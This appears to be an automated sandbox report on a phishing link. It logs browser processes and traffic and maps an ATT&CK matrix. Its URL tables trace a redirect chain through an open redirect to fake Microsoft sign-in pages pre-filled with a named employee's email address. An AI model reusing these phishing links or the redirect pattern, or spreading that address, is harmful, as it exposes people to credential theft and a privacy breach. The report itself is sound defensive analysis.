Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49729 version: TLS 1.2

Source: classification engine

Classification label: mal96.phis.win@20/52@34/11

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1980,i,1171109190669764174,17585143211424108510,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cnrsys.com/.jhg/#5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1980,i,1171109190669764174,17585143211424108510,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://cnrsys.com/.jhg/#5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1	100%	Avira URL Cloud	phishing

Source	Detection	Scanner	Label
http://knockoutjs.com/	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
http://www.opensource.org/licenses/mit-license.php)	0%	URL Reputation	safe
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqx	0%	Avira URL Cloud	safe
https://69cde8a9-b98cbfac.signform.us/favicon.ico	0%	Avira URL Cloud	safe
https://cnrsys.com/cdn-cgi/challenge-platform/scripts/jsd/main.js	100%	Avira URL Cloud	phishing
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_a6PeIgafSneuouox-qU5OA2.js	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficc	0%	Avira URL Cloud	safe
https://cnrsys.com/.jhg/	100%	Avira URL Cloud	phishing
https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90b	0%	Avira URL Cloud	safe
https://ingenieriawj.com/dobe.php?url=	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	0%	Avira URL Cloud	safe
https://cnrsys.com/cdn-cgi/challenge-platform/h/g/jsd/r/8c9960913bc242c7	100%	Avira URL Cloud	phishing
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ed9c9eb0dce17d752bedea6b5acda6d	0%	Avira URL Cloud	safe
https://github.com/douglascrockford/JSON-js	0%	Avira URL Cloud	safe
https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com	0%	Avira URL Cloud	safe
https://login.windows-ppe.net	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=YMLOLPGSRSsmwqIpR3fASjuCOZFyw2vqRj30ILIMSrYqMs%2BSqnDEjfXqZcDkX7Ba3r%2Bnd0eB9RJep02H0bLqRSKLTKeluxI%2FFC6uy6lWSfTwTYgQT%2FO0KIiV436O	0%	Avira URL Cloud	safe
https://69cde8a9-b98cbfac.signform.us/adfs/portal/logo/logo.png?id=ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqxfzfu0cwzblacdqq2.js	0%	Avira URL Cloud	safe
https://accounts.signform.us/favicon.ico	0%	Avira URL Cloud	safe
https://accounts.signform.us/common/instrumentation/reportbssotelemetry?hpgid=6&hpgact=2101&client-request-id=3a0a2696-c8bc-49cf-8889-338545843932&hpgrequestid=02e5502b-6a80-4091-90bd-8fa0da3eb300	0%	Avira URL Cloud	safe
https://cnrsys.com/cdn-cgi/challenge-platform/h/g/jsd/r/8c99609c4fe34276	100%	Avira URL Cloud	phishing
https://login.microsoftonline.com/common/login	0%	Avira URL Cloud	safe
https://ingenieriawj.com/dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1	0%	Avira URL Cloud	safe
https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2	0%	Avira URL Cloud	safe
https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=ZXLKTnD3NvmH3q%2BrR84lxrDyALoZ9B34Rs29sdUWQ2cB1BnFFlAvE%2Bt%2FFSnUcL9vr6%2FKoFU4KyJUf4x5lcItQ1VRMj1H5WDLXrx%2FWoyGZqE%2F%2FrPPc8zysNvO2UKa	0%	Avira URL Cloud	safe
https://accounts.signform.us/b98cbfac3b4f48f1a0cb583440b2d360/	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css	0%	Avira URL Cloud	safe
http://www.ingenieriawj.com/dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1	0%	Avira URL Cloud	safe
https://69cde8a9-b98cbfac.signform.us/adfs/portal/css/style.css?id=3B1A0C704CDAE8ECD48AA8F0D50409D981CEF21D7AE6DC85B0797D270101B151	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/jsdisabled	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net	0%	Avira URL Cloud	safe
https://69cde8a9-b98cbfac.signform.us/adfs/portal/illustration/illustration.png?id=0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/js/oneDs_472fa3a12b65cf387ccd.js	0%	Avira URL Cloud	safe
https://cnrsys.com/cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js?	100%	Avira URL Cloud	phishing
https://docu8ign.web.app/$	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_12dabd9245715d165757.js	0%	Avira URL Cloud	safe
https://3555af0f-b98cbfac.signform.us/shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js	0%	Avira URL Cloud	safe
https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com&sso_reload=true	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
69cde8a9-b98cbfac.signform.us	206.206.125.198	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
134694a7-b98cbfac.signform.us	206.206.125.198	true	true	unknown
accounts.signform.us	206.206.125.198	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
3555af0f-b98cbfac.signform.us	206.206.125.198	true	true	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
www.google.com	142.250.186.164	true	false	unknown
ingenieriawj.com	149.56.200.84	true	false	unknown
docu8ign.web.app	199.36.158.100	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
cnrsys.com	188.114.96.3	true	false	unknown
windowsupdatebg.s.llnwi.net	46.228.146.128	true	false	unknown
www.ingenieriawj.com	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com#/common/oauth2/authorize?client_id=0.45184072966307-0ff1-0.062128664488964&auth=1-0.95789965379885	false		unknown
https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1	false	Avira URL Cloud: safe	unknown
https://cnrsys.com/.jhg/	true	Avira URL Cloud: phishing	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_a6PeIgafSneuouox-qU5OA2.js	false	Avira URL Cloud: safe	unknown
https://69cde8a9-b98cbfac.signform.us/favicon.ico	true	Avira URL Cloud: safe	unknown
https://cnrsys.com/cdn-cgi/challenge-platform/scripts/jsd/main.js	true	Avira URL Cloud: phishing	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false	Avira URL Cloud: safe	unknown
https://cnrsys.com/cdn-cgi/challenge-platform/h/g/jsd/r/8c9960913bc242c7	false	Avira URL Cloud: phishing	unknown
https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0#	true		unknown
https://a.nel.cloudflare.com/report/v4?s=YMLOLPGSRSsmwqIpR3fASjuCOZFyw2vqRj30ILIMSrYqMs%2BSqnDEjfXqZcDkX7Ba3r%2Bnd0eB9RJep02H0bLqRSKLTKeluxI%2FFC6uy6lWSfTwTYgQT%2FO0KIiV436O	false	Avira URL Cloud: safe	unknown
https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com	true	Avira URL Cloud: safe	unknown
https://accounts.signform.us/favicon.ico	true	Avira URL Cloud: safe	unknown
https://69cde8a9-b98cbfac.signform.us/adfs/portal/logo/logo.png?id=ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4	true	Avira URL Cloud: safe	unknown
https://accounts.signform.us/common/instrumentation/reportbssotelemetry?hpgid=6&hpgact=2101&client-request-id=3a0a2696-c8bc-49cf-8889-338545843932&hpgrequestid=02e5502b-6a80-4091-90bd-8fa0da3eb300	true	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqxfzfu0cwzblacdqq2.js	false	Avira URL Cloud: safe	unknown
https://cnrsys.com/cdn-cgi/challenge-platform/h/g/jsd/r/8c99609c4fe34276	false	Avira URL Cloud: phishing	unknown
https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2	true	Avira URL Cloud: safe	unknown
https://ingenieriawj.com/dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=ZXLKTnD3NvmH3q%2BrR84lxrDyALoZ9B34Rs29sdUWQ2cB1BnFFlAvE%2Bt%2FFSnUcL9vr6%2FKoFU4KyJUf4x5lcItQ1VRMj1H5WDLXrx%2FWoyGZqE%2F%2FrPPc8zysNvO2UKa	false	Avira URL Cloud: safe	unknown
https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0	true	Avira URL Cloud: safe	unknown
https://accounts.signform.us/b98cbfac3b4f48f1a0cb583440b2d360/	true	Avira URL Cloud: safe	unknown
http://www.ingenieriawj.com/dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css	false	Avira URL Cloud: safe	unknown
https://69cde8a9-b98cbfac.signform.us/adfs/portal/css/style.css?id=3B1A0C704CDAE8ECD48AA8F0D50409D981CEF21D7AE6DC85B0797D270101B151	true	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	false	Avira URL Cloud: safe	unknown
https://69cde8a9-b98cbfac.signform.us/adfs/portal/illustration/illustration.png?id=0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970	true	Avira URL Cloud: safe	unknown
https://cnrsys.com/cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js?	false	Avira URL Cloud: phishing	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/oneDs_472fa3a12b65cf387ccd.js	false	Avira URL Cloud: safe	unknown
https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1#40444/docu8ign.web.app/user/settings/notification-4e0rr70db9ec/oauth2/_3TUE34aDfFZ4KFYPT2LS/redirecting_to_organisation	true		unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_12dabd9245715d165757.js	false	Avira URL Cloud: safe	unknown
https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com&sso_reload=true	true	Avira URL Cloud: safe	unknown
https://3555af0f-b98cbfac.signform.us/shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqx	chromecache_77.2.dr	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficc	chromecache_77.2.dr	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90b	chromecache_77.2.dr	false	Avira URL Cloud: safe	unknown
https://ingenieriawj.com/dobe.php?url=	chromecache_77.2.dr	false	Avira URL Cloud: safe	unknown
http://knockoutjs.com/	chromecache_103.2.dr, chromecache_81.2.dr	false	URL Reputation: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ed9c9eb0dce17d752bedea6b5acda6d	chromecache_77.2.dr	false	Avira URL Cloud: safe	unknown
